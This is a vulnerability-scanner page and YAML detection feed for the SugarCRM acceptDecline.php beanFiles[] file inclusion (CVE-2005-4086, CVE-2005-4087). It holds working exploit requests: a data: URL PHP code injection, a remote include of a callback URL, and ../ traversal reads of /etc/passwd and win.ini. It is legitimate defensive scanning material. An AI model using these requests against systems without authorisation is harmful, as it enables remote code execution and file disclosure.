SugarCRM — 1 vulnerability check
noctis ships 1 vulnerability check for SugarCRM, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SugarCRM acceptDecline.php beanFiles[] File Inclusion
| CVE | CVE-2005-4086, CVE-2005-4087 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/sugarcrm/sugarcrm-acceptdecline-beanfiles-inclusion.yaml |
Tests SugarCRM (SugarSuite) 4.0 beta and earlier for the unauthenticated file inclusion in acceptDecline.php, which passes the beanFiles[] request parameter to require_once() when register_globals is on. The feed requests acceptDecline.php under the usual install folders with beanFiles[1]=<value>&beanList[1]=1&module=1. The value is first a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request (remote file inclusion). When OOB is enabled, the value is also the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise the feed reads /etc/passwd (or windows/win.ini, boot.ini) through a ../ sequence, confirmed only when the same request for an absent file returns no file content (local file inclusion), and finally looks for a PHP require_once error naming a random value, which shows that the value reaches require_once() unchecked. The snippet only prints a hash and nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/acceptDecline.php?beanFiles[1]={{probe.data}}&beanList[1]=1&module=1 - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: SugarCRM acceptDecline.php beanFiles[] Remote File Inclusion (CVE-2005-4086) - HTTP(S) request
GET {{dir}}/acceptDecline.php?beanFiles[1]={{probe.marker}}&beanList[1]=1&module=1 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/acceptDecline.php?beanFiles[1]=../../../../../../../../../../etc/passwd&beanL… - Checks
passwd_r.bodyfor(?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/acceptDecline.php?beanFiles[1]=../../../../../../../../../../windows/win.ini&… - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/acceptDecline.php?beanFiles[1]=../../../../../../../../../../boot.ini&beanLis… - … and 14 more steps — see the feed source below
References:
Feed source — tests/vulnerabilities/sugarcrm/sugarcrm-acceptdecline-beanfiles-inclusion.yaml
# SugarCRM acceptDecline.php beanFiles[] file inclusion — CVE-2005-4086 (remote
# file inclusion) and CVE-2005-4087 (../ local file inclusion)
#
# SugarSuite (SugarCRM Open Source) 4.0 beta and earlier, with register_globals
# on. acceptDecline.php (4.0.0beta, verified on SugarSuite-4.0.0beta.zip):
#
# require_once('include/modules.php'); // adds $beanList[..] / $beanFiles[..]
# global $sugar_config, $dbconfig, $beanList, $beanFiles;
# ...
# $bean = $beanList[$_REQUEST['module']];
# require_once($beanFiles[$bean]);
# $focus = new $bean;
#
# include/modules.php only adds keys to $beanList / $beanFiles and never resets
# them, so ?beanFiles[1]=<x>&beanList[1]=1&module=1 makes require_once(<x>)
# with nothing appended, before any login check. SugarSuite 4.0.0 (Dec 2005)
# fixed it: modules.php starts both arrays with "= array();" and
# acceptDecline.php checks module with clean_string().
#
# Detection, per usual install folder (the web root, /sugarcrm, /SugarCRM,
# /sugar, /crm, /sugarsuite):
# 1. In-band code execution (QoD 97, CVE-2005-4086): beanFiles[1] is a data:
# URL holding <?php echo md5(A*B);exit;?> with random A and B. When PHP
# may include URLs (allow_url_include, PHP >= 5.2) the code runs and the
# reply carries md5 of the product, a value the request never contains. If
# the wrapper is refused, PHP's warning quotes the code text, not the md5.
# The code has no quotes (magic_quotes_gpc-safe) and writes nothing.
# 2. OOB (QoD 97, CVE-2005-4086, only when OOB is enabled): beanFiles[1] is
# the noctis callback URL; a fetch of it is the remote inclusion (PHP 4 /
# 5.0 / 5.1 with allow_url_fopen, allow_url_include later). Also covers
# servers hiding PHP output and errors. Sent only to a folder where an
# absent .php file answers 404, so a site answering every path (or a
# proxy pre-fetching URLs seen in query strings) is not reported.
# 3. Local inclusion (QoD 75, CVE-2005-4087): the source check's request —
# beanFiles[1] is a ../ sequence to etc/passwd (then windows/win.ini,
# boot.ini). No NUL byte is needed, nothing is appended. Reported only
# when the same request for an absent file (random missing folder, same
# file name) carries no file content, so a tarpit answering every
# request with a passwd file is not reported.
# 4. Fallback (QoD 75): beanFiles[1] is a random name; the reply must carry
# PHP's require_once() / main() / "Failed opening required" message
# naming exactly that value: it went unchecked into require_once(). A page
# echoing its query string does not produce that message.
#
# CVSS: NVD v2 7.5 for both CVEs (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/sugarcrm_remote_file_inclusion.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20286, GPL-2.0-only). Improvements: real code
# execution / OOB proof (the source check reads /etc/passwd, or includes the
# target's own /robots.txt over HTTP, which most hosts lack), an absent-file
# control on the file read, the include-message fallback, a per-finding CVE
# (remote vs ../ local inclusion), and no reliance on a prior product
# detection: the usual install folders are probed directly.
uid: 125bf7db-9ad6-40ea-9b32-d45c1f76f252
name: "SugarCRM acceptDecline.php beanFiles[] File Inclusion (CVE-2005-4086, CVE-2005-4087)"
description: |
Tests SugarCRM (SugarSuite) 4.0 beta and earlier for the unauthenticated file
inclusion in acceptDecline.php, which passes the beanFiles[] request
parameter to require_once() when register_globals is on. The feed requests
acceptDecline.php under the usual install folders with
beanFiles[1]=<value>&beanList[1]=1&module=1. The value is first a data: URL
carrying a small PHP snippet that prints the md5 of the product of two random
numbers; that md5 in the reply confirms that the server ran code supplied in
the request (remote file inclusion). When OOB is enabled, the value is also
the scanner's callback URL, and a fetch of that URL confirms the remote
inclusion even when PHP output and errors are hidden. Otherwise the feed reads
/etc/passwd (or windows/win.ini, boot.ini) through a ../ sequence, confirmed
only when the same request for an absent file returns no file content (local
file inclusion), and finally looks for a PHP require_once error naming a
random value, which shows that the value reaches require_once() unchecked.
The snippet only prints a hash and nothing is written on the server.
cves: [CVE-2005-4086, CVE-2005-4087]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [sugarcrm, sugarsuite, crm, php, rfi, lfi, remote-file-inclusion, path-traversal, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4086"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-4087"
# OpenVAS/Greenbone NASL pre2008/sugarcrm_remote_file_inclusion.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-lfi-found
action: set_var
var_name: lfi_found
var_value: false
- id: init-lfi-dir
action: set_var
var_name: lfi_dir
var_value: ""
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-lfi-proof
action: set_var
var_name: lfi_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
- id: init-oob-dirs
action: set_var
var_name: oob_dirs
var_value: ""
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/sugarcrm", "/SugarCRM", "/sugar", "/crm", "/sugarsuite"]
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-warn-cand
action: set_var
var_name: warn_cand
var_value: ""
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-absent-php-r
action: set_var
var_name: absent_php_r
var_value: {status: 0, body: ""}
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/acceptDecline.php?beanFiles[1]={{probe.data}}&beanList[1]=1&module=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "SugarCRM acceptDecline.php beanFiles[] Remote File Inclusion (CVE-2005-4086)"
cves: [CVE-2005-4086]
description: "An unauthenticated request to acceptDecline.php with beanFiles[1] set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. SugarCRM 4.0 beta and earlier pass beanFiles[] to require_once() without any check when register_globals is on, so an attacker can run any PHP code on the server."
remediation: "Upgrade SugarCRM: 4.0.0 and later reset the module arrays before use. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/acceptDecline.php?beanFiles[1]=data:text/plain,<?php echo md5(A*B);exit;?>&beanList[1]=1&module=1 returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 4. Random value — require_once message naming it (fallback, last) ────
# Sent to every folder not answering 404 (also when the code probe got no
# reply, status 0, e.g. a filter dropping "<?php").
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/acceptDecline.php?beanFiles[1]={{probe.marker}}&beanList[1]=1&module=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
- id: warn-check
action: script
code: |
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let f = probe.marker;
let hit = "";
// PHP's own message shapes (4.x main(), 5.x with or without the doc
// link, 7+/8 capitalised): the bare value next to "require_once(" is
// not enough, a page could echo that text.
if b.contains("Failed opening required '" + f + "'") { hit = f; }
if ereg("(require_once|require|main)\\(" + f + "\\)( \\[<a [^>]*>[^<]*</a>\\])?: [Ff]ailed to open stream", b) { hit = f; }
hit
condition: "warn_found == false"
store_as: warn_cand
- id: warn-dir
action: script
code: "dir"
condition: 'warn_found == false && warn_cand != ""'
store_as: warn_dir
- id: warn-proof
action: script
code: "warn_cand"
condition: 'warn_found == false && warn_cand != ""'
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: 'warn_cand != ""'
# ── 3. ../ sequence — local file read (the source check's request) ───────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/acceptDecline.php?beanFiles[1]=../../../../../../../../../../etc/passwd&beanList[1]=1&module=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "lfi_found == false && rce_r.status != 404"
store_as: passwd_r
# No on_match: the raw body must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
condition: "lfi_found == false && passwd_r.status != 0"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
let name = passwd_m.captures[0];
name.trim();
if name == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
condition: "lfi_found == false && passwd_r.status != 0"
store_as: lin_proof
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/acceptDecline.php?beanFiles[1]=../../../../../../../../../../windows/win.ini&beanList[1]=1&module=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lfi_found == false && lin_proof == "" && winini_r.status != 0'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/acceptDecline.php?beanFiles[1]=../../../../../../../../../../boot.ini&beanList[1]=1&module=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && lin_proof == "" && win_file == "" && winini_r.status != 0 && winini_r.status != 404'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lfi_found == false && lin_proof == "" && win_file == "" && bootini_r.status != 0'
on_match:
set_vars:
win_file: "boot.ini"
# Control: same request for an absent file in a random missing folder,
# still ENDING with the file that hit, so a honeypot keyed on that name
# answers it too. Must answer, with the same status as the request that hit
# (or a 500 against its 200), and carry no file.
- id: control-path
action: script
code: |
let f = if lin_proof != "" { "etc/passwd" } else { win_file };
"../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "{{dir}}/acceptDecline.php?beanFiles[1]={{ctrl_path}}&beanList[1]=1&module=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lfi_found == false && (lin_proof != "" || win_file != "")'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lfi_found == false && ctrl_r.status != 0'
on_match:
set_vars:
ctrl_hit: true
- id: lfi-verdict
action: script
code: |
// Status of the request that hit. The page ends in a fatal error after
// the include (class "1" does not exist): with errors hidden and output
// buffering off, the file printed before it keeps a 200 while the empty
// control gets a 500: accept that pair too.
let hs = if lin_proof != "" { passwd_r.status }
else if win_file == "windows/win.ini" { winini_r.status }
else { bootini_r.status };
let same = ctrl_r.status == hs || (hs == 200 && ctrl_r.status == 500);
if lfi_found == false && (lin_proof != "" || win_file != "")
&& ctrl_r.status != 0 && same && ctrl_hit == false {
if lin_proof != "" { "etc/passwd" } else { win_file }
} else { "" }
store_as: lfi_hit
- id: lfi-dir
action: script
code: "dir"
condition: 'lfi_hit != ""'
store_as: lfi_dir
- id: lfi-file
action: script
code: "lfi_hit"
condition: 'lfi_hit != ""'
store_as: lfi_file
- id: lfi-proof
action: script
code: 'if lin_proof != "" { lin_proof } else { "content of " + win_file }'
condition: 'lfi_hit != ""'
store_as: lfi_proof
- id: lfi-found
action: set_var
var_name: lfi_found
var_value: true
condition: 'lfi_hit != ""'
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# A fetch alone is the proof, so the callback URL only goes to a folder
# where acceptDecline.php exists while an absent .php file answers 404: a
# site answering every path (or a proxy pre-fetching URLs it sees in query
# strings) would otherwise call back too.
- id: absent-php
action: http_request
method: GET
path: "{{dir}}/{{probe.marker}}.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "oob_enabled && rce_r.status != 404"
store_as: absent_php_r
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/acceptDecline.php?beanFiles[1]={{oob_url}}&beanList[1]=1&module=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && absent_php_r.status == 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && absent_php_r.status == 404"
- id: oob-dirs
action: script
code: |
let d = if dir == "" { "/" } else { dir };
if oob_dirs == "" { d } else { oob_dirs + ", " + d }
condition: "oob_enabled && absent_php_r.status == 404"
store_as: oob_dirs
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "SugarCRM acceptDecline.php beanFiles[] Remote File Inclusion (CVE-2005-4086)"
cves: [CVE-2005-4086]
description: "An unauthenticated request to acceptDecline.php with beanFiles[1] set to the noctis callback URL made the server fetch that URL: SugarCRM 4.0 beta and earlier pass beanFiles[] to require_once() without any check when register_globals is on, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "Upgrade SugarCRM: 4.0.0 and later reset the module arrays before use. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <folder>/acceptDecline.php?beanFiles[1]=<OOB URL>&beanList[1]=1&module=1 sent to folder(s) {{oob_dirs}} (remote file inclusion)"
stop: true
# ── Local file read through ../, control clean ───────────────────────────
- id: report-lfi
action: match
source: lfi_file
pattern: "^(etc/passwd|windows/win\\.ini|boot\\.ini)$"
condition: "lfi_found"
on_match:
finding:
title: "SugarCRM acceptDecline.php beanFiles[] Local File Inclusion (CVE-2005-4087)"
cves: [CVE-2005-4087]
description: "An unauthenticated request to acceptDecline.php with beanFiles[1] set to a ../ sequence ending in a system file name returned that file's content, while the same request for an absent file did not: SugarCRM 4.0 beta and earlier pass beanFiles[] to require_once() without any check when register_globals is on. Any file the web server user can read is disclosed, and PHP code in an included file runs. Remote code inclusion was not confirmed (URL inclusion may be disabled, or OOB was not enabled)."
remediation: "Upgrade SugarCRM: 4.0.0 and later reset the module arrays before use. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists)."
confidence_delta: 0.55
qod: 75
evidence: "GET {{lfi_dir}}/acceptDecline.php?beanFiles[1]=../../../../../../../../../../{{lfi_file}}&beanList[1]=1&module=1 returned {{lfi_file}} ({{lfi_proof}}); the control for an absent file returned no file content"
stop: true
# ── Fallback finding: require_once message naming the random value ───────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-zA-Z]+$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "SugarCRM acceptDecline.php beanFiles[] File Inclusion (CVE-2005-4086, CVE-2005-4087)"
description: "An unauthenticated request to acceptDecline.php with beanFiles[1] set to a random value returned a PHP require_once error for exactly that value: SugarCRM 4.0 beta and earlier pass beanFiles[] to require_once() without any check when register_globals is on. Code execution and file reading were not confirmed (URL inclusion may be disabled, files outside the web root may be blocked, or OOB was not enabled), but the included path is attacker-controlled."
remediation: "Upgrade SugarCRM: 4.0.0 and later reset the module arrays before use. Until then, disable register_globals (or upgrade PHP to 5.4 or later, where it no longer exists) and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/acceptDecline.php?beanFiles[1]={{probe.marker}}&beanList[1]=1&module=1 returned a PHP require_once error for {{warn_proof}}"
stop: true